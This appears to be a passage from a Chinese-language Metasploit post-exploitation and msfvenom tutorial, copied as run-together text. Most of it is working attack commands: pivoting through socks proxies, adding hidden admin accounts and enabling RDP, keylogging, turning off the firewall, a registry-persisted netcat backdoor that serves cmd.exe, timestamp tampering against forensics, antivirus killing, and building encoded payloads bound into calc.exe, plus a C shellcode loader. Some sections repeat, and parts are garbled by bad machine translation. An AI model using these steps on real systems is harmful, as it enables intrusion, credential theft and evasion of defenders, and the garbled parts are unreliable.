+IP+mask+SID”,本例中我们路由的ip⽹段为10.1.1.0,然后使⽤“use auxiliary/server/socks4a”命令来使⽤sock4a模块,执⾏run命令,socks便会执⾏ 然后再在命令⾏下执⾏proxychains命令,使⽤代理对⽬标主机进⾏扫描,nmap,nc等都可以,此例⼦中我们对⽬标机10.1.1.130的445端⼝进⾏扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。 19.运⾏程序 我们还可以使⽤“execute”命令在⽬标系统中执⾏应⽤程序。这个命令的使⽤⽅法如下:execute -f execute -f cmd.exe -i#执⾏cmd.exe命令并进⾏交互execute -f cmd.exe -i -t#以所有可⽤令牌来执⾏cmd命令 execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互execute -H -i -f cmd.exe execute -H -m -d notepad.exe-f wce.exe -a \"-o wce.txt\"运⾏后它将执⾏file参数所指定的⽂件。可选参数如下:-H:创建⼀个隐藏进程-a:传递给命令的参数-i:跟进程进⾏交互-m:从内存中执⾏ -t:使⽤当前伪造的线程令牌运⾏进程-s:在给定会话中执⾏进程-f 执⾏的程序⽂件 -d 在⽬标主机执⾏时显⽰的进程名称(⽤以伪装)-o wce.txt\"是wce.exe的运⾏参数20.创建账号 getgui——getgui ,为添加⽤户的命令,⾸先⽤“run getgui -h”查看脚本getgui的帮助信息run getgui-e #开启远程桌⾯ run getgui -uexample_username -pexample_password #添加账号调⽤getgui后渗透攻击模块 作⽤:开启⽬标主机远程桌⾯,并可添加管理员组账号命令:run getgui -e开启⽬标主机远程桌⾯如下图: 开启⽬标主机的远程桌⾯服务后,可以添加账号以便利⽤命令: run getgui -u example_username -p example_password如下图: 执⾏成功,可以使⽤kali的rdesktop命令使⽤远程桌⾯连接⽬标主机rdesktop -u kali -p meterpreter 192.168.250.176:33 从上图可以看出这个脚本的⽤法是“rungetgui –u username –p password”,我添加了⼀个lu的⽤户密码为6666。从下图中可以看到⽤户已经添加成功。 添加完账户之后使⽤rdesktop命令连接⼀下远程主机,具体⽤法是“rdesktop –u username –p password IP”执⾏命令之后就会弹出⼀个窗⼝,只需再输⼊⼀次密码就可以进⼊⽬标机器,并对⽬标机器直接进⾏控制。 接下来,我们可以在⽬标系统中创建⼀个新的⽤户账号(getgui脚本,使⽤-u和-p参数),并给它分配管理员权限(使⽤),然后将其添加到”远程桌⾯⽤户”组中。 当然了,你也可以尝试将这个新添加的⽤户Hacker在Windows登录界⾯中隐藏。21.启⽤远程桌⾯ 当我们新添加的⽤户已经拥有之后,我们就可以使⽤这个账号凭证来开启远程桌⾯会话了。 ⾸先,我们需要确保⽬标Windows设备开启了远程桌⾯功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使⽤-e参数确保⽬标设备开启了远程桌⾯功能(重启之后同样会⾃动开启): 在开启远程桌⾯会话之前,我们还需要使⽤“idletime”命令检查远程⽤户的空闲时长:这样可以降低你被发现的概率,因为当⽬标⽤户登录之后,它将会看到如下图所⽰的信息:下图显⽰的是攻击者使⽤新创建的“Hacker”账号连接到远程桌⾯的画⾯:run post/windows/manage/enable_rdp 还可以使⽤ run getgui -e 来开启远程桌⾯: 利⽤该命令,我们还可以在⽬标机器上添加⽤户:run getgui -u xxxxx -p xxxxx22.绑定进程 Meterpreter既可以单独运⾏,也可以与其他进程进⾏绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进⾏绑定,并以此来实现持久化。 在下⾯的例⼦中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。⾸先,我们需要使⽤“ps”命令查看⽬标设备中运⾏的进程: 接下来,使⽤“getpid”找出需要绑定的进程,接下来,使⽤migrate命令+pid来绑定进程。绑定完成之后,我们就可以开始捕获键盘数据了: 接下来,我们可以选择导出键盘记录,或者使⽤命令“enum_logged_on_users”来检查⽤户是否成功登录:等待⽚刻之后,使⽤keyscan_dump命令导出记录信息:捕捉到的⽤户密码为trustno123.通过其 shell 来关闭防⽕墙 netsh adcfirewall set allprofiles state off 我们打开防⽕墙配置查看防⽕墙已成功被我们关闭! 但是我们可以看出,如果⽬标管理员查看防⽕墙配置,发现防⽕墙被⼈为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的⾏为。 netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL 伪装成⼀个系统正常的进程,之后远程重启⽬标系统,并利⽤ NC 连接即可!24.利⽤注册表添加 NC 后门1.上传 NC 到⽬标系统: upload /usr/share/windows-binaries/nc.exe C:\\\\windows\\\\system32 2.枚举注册表内容(开机启动) reg enumkey -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run3.在该注册表增加内容(开机启动) reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v nc -d “C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe”4.查看内容是否增加成功: reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\Run -v nc 25.基于MACE时间的反电⼦取证 timestomp -v secist.txt #查看当前⽬标⽂件 MACE 时间。 timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改⽂件的创建时间,例如修改⽂件的创建时间(反取证调查) timestomp -f c:\\\\AVScanner.ini secist.txt (将模板⽂件MACE时间,复制给当前⽂件)timestomp -v secist.txt26.内⽹代理 meterpreter > run autoroute -s 192.168.1.0/24 msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,33,445,1433,3306msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24msf auxiliary(tcp) > set THERADS 10msf auxiliary(tcp) > exploitmeterpreter > background msf exploit(handler) > use auxiliary/server/socks4amsf auxiliary(socks4a) > route printmsf auxiliary(socks4a) > ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为⾃⼰运⾏msf的vps机⼦'msf auxiliary(socks4a) > exploit27.SSH代理msf > load meta_ssh msf > use multi/ssh/login_passwordmsf > set RHOST 192.168.56.3RHOST => 192.168.56.3 msf > set USER testUSER => test msf > set PASS reversePASS => reverse msf > set PAYLOAD ssh/metassh_sessionPAYLOAD => ssh/metassh_sessionmsf > exploit -z [*] Connecting to dsl@192.168.56.3:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300[*] Session 1 created in the background.msf > route add 192.168.57.0 255.255.255.0 1之后就是愉快的内⽹扫描了当然还是推荐直接⽤ ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.128.内⽹扫描 meterpreter > run autoroute -s 192.168.3.98meterpreter > background[*] Backgrounding session 2... msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,33,445,1433,3306PORTS => 80,8080,21,22,33,445,1433,3306msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24RHOSTS => 192.168.3.1/24msf auxiliary(tcp) > set THERADS 10THERADS => 10msf auxiliary(tcp) > exploit 我还是推荐开代理⽤Nmap扫描>.<29.⼀些常⽤的破解模块 auxiliary/scanner/mssql/mssql_loginauxiliary/scanner/ftp/ftp_loginauxiliary/scanner/ssh/ssh_loginauxiliary/scanner/telnet/telnet_loginauxiliary/scanner/smb/smb_loginauxiliary/scanner/mssql/mssql_loginauxiliary/scanner/mysql/mysql_loginauxiliary/scanner/oracle/oracle_loginauxiliary/scanner/postgres/postgres_loginauxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_loginauxiliary/scanner/snmp/snmp_loginauxiliary/scanner/ftp/anonymous 30.⼀些好⽤的模块 auxiliary/admin/realvnc_41_bypass (Bypass VNCV4⽹上也有利⽤⼯具) auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略⽼)auxiliary/admin/http/jboss_deploymentfilerepository (内⽹遇到Jboss最爱:))auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执⾏:) auxiliary/admin/mssql/mssql_exec (⽤爆破得到的sa弱⼝令进⾏执⾏命令没回显:()auxiliary/scanner/http/jboss_vulnscan (Jboss 内⽹渗透的好朋友)auxiliary/admin/mysql/mysql_sql (⽤爆破得到的弱⼝令执⾏sql语句:) auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱⼝令来Win32命令执⾏)auxiliary/admin/postgres/postgres_sql (爆破得到的postgres⽤户来执⾏sql语句)auxiliary/scanner/rsync/modules_list (Rsync)auxiliary/scanner/misc/redis_server (Redis)auxiliary/scanner/ssl/openssl_heartbleed (⼼脏滴⾎)auxiliary/scanner/mongodb/mongodb_login (Mongodb)auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)auxiliary/scanner/http/axis_local_file_include (axis本地⽂件包含)auxiliary/scanner/http/http_put (http Put) auxiliary/scanner/http/gitlab_user_enum (获取内⽹gitlab⽤户)auxiliary/scanner/http/jenkins_enum (获取内⽹jenkins⽤户)auxiliary/scanner/http/svn_scanner (svn Hunter :))auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)auxiliary/scanner/http/zabbix_login (Zabbix :)) 0x05 常见脚本 在获得meterpreter的session后,除了meterpreter本⾝内置的⼀些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下⾯还有很多scripts,提供了很多额外功能,⾮常好⽤ 我看⽹上没有详细介绍常见脚本功能的⽂章,就总结了⼀下我们可以通过run 脚本名来进⾏使⽤run 脚本名 -h可以查看帮助 1.arp_scanner 利⽤arp进⾏存活主机扫描run arp_scanner-r 192.168.1.0/24 2.autoroute 可以添加,删除,显⽰路由表3.checkvm 可以检测⽬标是否是虚拟机 4.credcollect 收集⽬标主机上的hash等凭证 5.domain_list_gen 获取域管理账户列表,并判断当前session所在⽤户是否在列表中6.dumplinks Link⽂件包含时间戳,⽂件位置,共享名,卷序列号,等。脚本会在⽤户⽬录和office⽬录中收集lnk⽂件 调⽤post/windows/gather/dumplinks获取⽬标主机上最近访问过的⽂档、链接信息命令:run post/windows/gather/dumplinks效果如下图: 7.duplicate 再次产⽣payload,注⼊到其他进程或打开新进程并注⼊其中 8.enum_chrome获取chrome中的信息9.enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等 10.enum_logged_on_users列出当前登录的⽤户 11.enum_powershell_env列出powershell和WSH的配置⽂件12.enum_putty列出putty的配置⽂件13.enum_shares列出共享及历史共享14.enum_vmware 列出vmware的配置⽂件和产品15.event_manager可以查询和清理事件⽇志 16.file_collector搜索符合指定模式的⽂件17.get_application_list获取安装的程序列表及版本 18.getcountermeasure 列出HIPS 和 AV 的进程,显⽰XP 防⽕墙规则, 并且显⽰ DEP和UAC 策略Ps:-k参数可以杀掉防护软件进程 19.get_env 获取所有⽤户的环境变量20.get_filezilla_creds获取filezilla的登陆凭证21.getgui 可以很⽅便的开启远程桌⾯服务,添加⽤户,端⼝转发功能 22.get_local_subnets获得本地的⼦⽹23.get_pidgin_creds 获取pidgin配置⽂件中的⽤户名和密码24.gettelnet 同之前开启终端桌⾯服务的脚本,这个是⽤来开启telnet的25.get_valid_community获取SNMP community字符串26.getvncpw获取vnc密码27.hashdump 同meterpreter的内置功能28.hostsedit操作hosts⽂件29.keylogrecorderMeterpreter内置此功能30.killav关闭防护软件31.metsvc 将payload安装为服务32. migrate 将meterpreter会话移植到另⼀个进程 例如反弹的meterpreter会话是对⽅打开了⼀个你预置特殊代码的word⽂档⽽产⽣的,那么对⽅⼀旦关闭掉该word⽂档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注⼊到explorer.exe是⼀个好⽅法可以先⽤ps命令看⼀下⽬标主机的explorer.exe进程的pid 是1668然后我们⽤migrate 1668 把meterpreter会话注⼊进去33 .persistence 可见建⽴⼀个持久性的后门,设置成开机启动34. service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建⼀个服务, 然后会搜索已存在d服务,找到不安全的⽂件或配置有问题的⽂件,⽤⼀个payload替换掉他,然后会尝试重启服务来运⾏这个paylaod,如果重启服务失败,则在下次服务器重启时会执⾏payload35.vnc 可以看到远程桌⾯36. win32-sshserver安装openssh服务37. winenum 会⾃动运⾏多种命令,将命令结果保存到本地 0x06 msfvenom命令参数 metasploit-framework旗下的msfpayload(荷载⽣成器),msfencoder(编码器),msfcli(监听接⼝)已经被整合成msfvenom。可以利⽤msfvenom⽣成⽊马程序,并且⽬标机上执⾏,在本地做监听1.msfvenom命令⾏选项 在kali的命令⾏中输⼊msfvenom -h就会显⽰其⽤法:Options: -p, --payload -l, --list[module_type] 列出指定模块的所有可⽤资源,模块类型包括: payloads, encoders, nops, all-n, --nopsled -f, --format -b, --bad-chars -c, --add-code -k, --keep 保护模板程序的动作,注⼊的payload作为⼀个新的进程运⾏--payload-options 列举payload的标准选项-o, --out -v, --var-name --shellest 最⼩化⽣成payload-h, --help 查看帮助选项 --help-formats 查看msf⽀持的输出格式列表 2.⽣成payload 格式说明 (1)⽣成不经过编码的普通payload(不编码->⽣成内容固定->直接被杀)#格式 msfvenom -p msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c(2)经过编码器处理后⽣成payload#格式 msfvenom -p msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\\back.exe(3)捆绑到正常⽂件后⽣成payload(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\\calc.exe –k –f exe –o C:\\shell.exe-p [指定攻击载荷名称] ⽣成payload⾄少需指定-p 和 -f,除了⾃带的那些payload外。-p -可指定⾃定义的payload ,如:cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw#暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe-f [指定payload的输出格式] 按需要的格式进⾏输出: ⼗六进制hex编码形式 \\x0a,如果⽤python写exploit,⽤-f python得到python代码。如果⽤python写exploit,⽤-f c得到c代码。⽣成⼀个exe格式的payload,如: msfvenom -p windows/meterpreter/bind_tcp -f exemsf⽀持的输出格式msfvenom --help-formatsExecutable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh,psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, warTransform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript3.options usage 查看⽀持的payload列表:msfvenom -l payloads Framework Payloads (486 total)============================== NameDescription ---------------aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shellaix/ppc/shell_find_port Spawn a shell on an established connectionaix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTPandroid/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPSandroid/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stagerandroid/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shellandroid/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shellandroid/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell ... 查看⽀持的输出⽂件类型:msfvenom --help-formats 查看⽀持的编码⽅式:(为了达到免杀的效果)msfvenom -l encoders 查看⽀持的空字段模块:(为了达到免杀的效果)msfvenom -l nops4.常⽤的payload1.命令格式: msfvenom -p msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= msfvenom -p linux/x86/meterpreter/bind_tcp LHOST= 3.Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST= msfvenom -p osx/x86/shell_reverse_tcp LHOST= msfvenom -p php/meterpreter_reverse_tcp LHOST= msfvenom -p windows/meterpreter/reverse_tcp LHOST= 7.JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST= msfvenom -p java/jsp_shell_reverse_tcp LHOST= msfvenom -p cmd/unix/reverse_python LHOST= msfvenom -p cmd/unix/reverse_bash LHOST= msfvenom -p cmd/unix/reverse_perl LHOST= 12.Linux Based Shellcode: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= 13.Windows Based Shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST= 14.Mac Based Shellcode: msfvenom -p osx/x86/shell_reverse_tcp LHOST= use exploit/multi/handler set PAYLOAD 5.⽣成有效载荷格式说明 ⽣成不经过编码的普通净荷(不编码 - >⽣成内容固定 - >直接被杀)#格式 msfvenom -p msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c经过编码器处理后⽣成的有效载荷#格式 msfvenom -p msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\\back.exe捆绑到正常⽂件后⽣成有效载荷(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\\calc.exe –k –f exe –o C:\\shell.exe-p [指定攻击载荷名称]⽣成有效负荷⾄少需指定-p和-f除了⾃带的那些有效载荷外 -p -可指定⾃定义的有效载荷,如: cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw#暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe-f [指定有效载荷的输出格式] 按需要的格式进⾏输出: ⼗六进制⼗六进制形式编码\\x0a 如果⽤蟒写利⽤,⽤-f python得到蟒代码。如果⽤蟒写利⽤,⽤-f c得到Ç代码。 ⽣成⼀个EXE格式的有效载荷,如: msfvenom -p windows/meterpreter/bind_tcp -f exe⽆国界医⽣⽀持的输出格式msfvenom --help-formatsExecutable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh,psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, warTransform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript- ⼀个x-a x86 -a x86_ msfvenom -p windows/meterpreter/bind_tcp --help-platform Platforms aix, android, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, linux, mainframe, multi, netbsd, netware, nodejs, openbsd,osx, php, python, ruby, solaris, unix, windows -a不指定也可以,可在-p后的有效载荷名称中明确指定的建筑,如:msfvenom -p linux/x86/exec CMD=/bin/sh 此有效载荷指定了参数CMD 查看某个有效载荷具体需要哪些参数(必需是是则必需该参数)msfvenom -p linux/x86/exec --payload-options对有效载荷进⾏编码 1.规避特殊字符-b'/ x00⼀个特殊字符列表' ⽆国界医⽣会⾃动找⼀个合适的编码器规避有效载荷中的这些“坏字符”:msfvenom -p windows/meterpreter/bind_tcp -b '\\x00' -f rawFound 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai不同的函数,有不同的规避字符:如获取需要就避免/x0a 如scanf函数更严格,空⽩不允许符如产⽣⼀段⾼管的shellcode的 2.⽤-e选项指定编码器的编码器,如: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 默认的输出格式是原始的,直接输出有效载荷的字符(含乱码),常加参数-o写到⽂件中。3.使⽤-i进⾏选项对话多次编码 迭代编码也许会有规避杀毒软件的作⽤英⽂,但这不是真正的免杀。迭代编码例⼦: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3⽆国界医⽣组织中所有的编码器:msfvenom -l encoders Framework Encoders================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_shmanual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base excellent Powershell Base Command Encodercmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encodergeneric/eicarmanual The EICAR Encoder generic/none normal The \"none\" Encodermipsbe/byte_xorinormal Byte XORi Encodermipsbe/longxornormal XOR Encodermipsle/byte_xorinormal Byte XORi Encodermipsle/longxor normal XOR Encoder php/base great PHP Base Encoderppc/longxornormal PPC LongXOR Encoderppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tag normalSPARC DWORD XOR Encoder x/xor normal XOR Encoderx/zutto_dekirumanual Zutto Dekirux86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoderx86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoderx86/avoid_underscore_tolowermanual Avoid underscore/tolowerx86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoderx86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoderx86/context_statmanual stat(2)-based Context Keyed Payload Encoderx86/context_timemanual time(2)-based Context Keyed Payload Encoderx86/countdown normal Single-byte XOR Countdown Encoderx86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoderx86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoderx86/nonalpha low Non-Alpha Encoderx86/nonupperlow Non-Upper Encoderx86/opt_submanual Sub Encoder (optimised)x86/servicemanual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoderx86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoderx86/unicode_uppermanual Alpha2 Alphanumeric Unicode Uppercase Encoder-x指定⼀个模板⽂件(“捆绑”payload到这个正常的可执⾏⽂件)msfvenom使⽤的模板⽂件保存在⽬录msf/data/templates -x calc.exe 捆绑有效负载到正常⽂件(模板⽂件=宿主⽂件=⾃定义的可执⾏⽂件)使⽤-x选项指定你⾃⼰的模板⽂件(如EXE等),如:使⽤窗户下的CALC.EXE作为模板⽂件,⽣成有效载荷: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 注意,在win x下使⽤⾃定义的x的模板⽂件(如exe等)创建x的有效载荷时,输出格式必须要写-f exe-only⽽不能写-f exe(请注意:如果您想创建⼀个带有⾃定义Windows的x⾃定义模板,然后⽽不是exe格式,您应该使⽤exe-only :)msfvenom -p windows/x/meterpreter/bind_tcp -x /tmp/templates/_calc.exe -f exe-only > /tmp/fake__calc.exe -x选项经常和-k选项⼀起⽤,它允许您从模板中将有效载荷作为新的线程运⾏。但是它⽬前只⽀持较⽼的系统,如x86 Windows XP。 (-x标志通常与-k标志配对,这使您可以将模板中的有效负载作为新线程运⾏。但是,⽬前这只适⽤于较旧的Windows机器,例如x86 WindowsXP。) 6.payload加编码命令格式: msfvenom -p msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe如果你使⽤了-b选项(设定了规避字符集),会⾃动调⽤编码器。其他情况下,你需要使⽤-e选项来使⽤编码模块,例如: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw可以使⽤下⾯的命令,来查看可⽤的编码器msfvenom -l encoders 你也可以使⽤-i选项进⾏多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作⽤,但你需要知道,编码并没有使⽤⼀个真正意义上的AV规避⽅案。 可以使⽤下⾯的命令来进⾏迭代编码: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 msfvenom -p windows/meterpreter/bind_tcp -b '\\x00' -f raw (1)规避特殊字符 -b '/x00⼀个特殊字符列表' 使⽤-b选项意味着在⽣成payload的时候对某些字符进⾏规避。当你使⽤这个选项的时候,msfvenom会⾃动的使⽤合适的编码器对payload进⾏编码,⽐如: msfvenom -p windows/meterpreter/bind_tcp -b '\\x00' -f raw不同的函数,有不同的规避字符:如gets就需要避免/x0a 如scanf更严格,不允许空⽩符如产⽣⼀段exec的shellcode(2)⽤-e选项指定编码器encoder msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到⽂件中。(3)使⽤-i选项进⾏多次编码 迭代编码也许会有规避杀毒软件的作⽤,但这不是真正的免杀。迭代编码 例⼦: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3(4)msf中所有的编码器msfvenom -l encodersFramework Encoders================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_baseexcellent Powershell Base Command Encoder cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encodergeneric/eicarmanual The EICAR Encodergeneric/nonenormal The \"none\" Encodermipsbe/byte_xorinormal Byte XORi Encodermipsbe/longxornormal XOR Encodermipsle/byte_xorinormal Byte XORi Encodermipsle/longxornormal XOR Encoder php/base great PHP Base Encoderppc/longxornormal PPC LongXOR Encoderppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tagnormal SPARC DWORD XOR Encoder x/xor normal XOR Encoderx/zutto_dekirumanual Zutto Dekirux86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoderx86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoderx86/avoid_underscore_tolowermanual Avoid underscore/tolowerx86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoderx86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuidmanual CPUID-based Context Keyed Payload Encoderx86/context_statmanual stat(2)-based Context Keyed Payload Encoderx86/context_timemanual time(2)-based Context Keyed Payload Encoderx86/countdownnormal Single-byte XOR Countdown Encoder x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoderx86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoderx86/nonalphalow Non-Alpha Encoder x86/nonupper low Non-Upper Encoderx86/opt_submanual Sub Encoder (optimised)x86/servicemanual Register Service x86/shikata_ga_naiexcellent Polymorphic XOR Additive Feedback Encoderx86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder(5)使⽤⾃定义可执⾏⽂件模板 -x 指定⼀个模板⽂件(“捆绑“payload到这个正常的可执⾏⽂件) 默认的msfvenom使⽤的模板⽂件保存在msf/data/templates⽬录中,如果你想使⽤你⾃⼰的模板⽂件,你可以使⽤-x选项来指定,⽐如: 捆绑payload到 正常⽂件(模板⽂件=宿主⽂件=⾃定义的可执⾏⽂件),使⽤-x选项指定你⾃⼰的模板⽂件(如exe等),如:使⽤windows下的calc.exe作为模板⽂件,⽣成payload: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 这个命令将使⽤windows下计算器程序(calc.exe)作为可执⾏⽂件的模板⽣成payload。 注意,在win x下使⽤⾃定义的x的模板⽂件(如exe等)创建x的payload时,输出格式必须要写-f exe-only⽽不能写-f exemsfvenom -p windows/x/meterpreter/bind_tcp -x /tmp/templates/_calc.exe -f exe-only > /tmp/fake__calc.exe -x选项经常和-k选项⼀起⽤,它允许您从模板中将payload作为新的线程运⾏。但是它⽬前只⽀持较⽼的系统,如x86 Windows XP.(6)How to chain msfvenom output msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \\msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \\ msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe(7)编译⽣成的C⽂件#win x86⽣成c⽂件 msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\\x00'#vc++6.0 编译(含buf数组的)C代码: #include #pragmacomment( linker, \"/subsystem:\\\"windows\\\" /entry:\\\"mainCRTStartup\\\"\")//运⾏时不显⽰窗⼝unsignedchar buf[] = \"buf数组\";//复制数组内容粘贴到此处main(){ ((void(*)(void))&buf)();} #VS 编译:main() { Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); } 10.绕过免杀nops选项 > msfvenom -l nops DL is deprecated, please use Fiddle Framework NOPs (8 total)======================== Name Description ---- ----------- armle/simple Simple NOP generator php/generic Generates harmless padding for PHP scripts ppc/simple Simple NOP generator sparc/random SPARC NOP generator tty/generic Generates harmless padding for TTY input x/simple An x single/multi byte NOP instruction generator. x86/opty2 Opty2 multi-byte NOP generator x86/single_byte Single-byte NOP generator payload⽣成器Veil-Evasion (免杀效果好)现在Veil 3.0(1)架构 Arch:x86 是指⽣成的payload只能在32位系统运⾏ Arch:x86_ 是指模块同时兼容32位操作系统和位操作系统Arch:x 是指⽣成的payload只能在位系统运⾏(2)注意 有的payload的选项为多个:Arch:x86_,x这⾥你就需要-a参数选择⼀个系统架构。 同时注意以下:size(⼤⼩),rank(等级),exitfunc(退出⽅法)(3)统⼀ 需要注意的是软件的架构/payload的架构/⽬标系统的架构三者⼀定要统⼀(x86/x86_/x),否则会出错。举例1: payload/windows/x/meterpreter_reverse_tcp > msfvenom -p windows/x/meterpreter_reverse_tcp --payload-option DL is deprecated, please 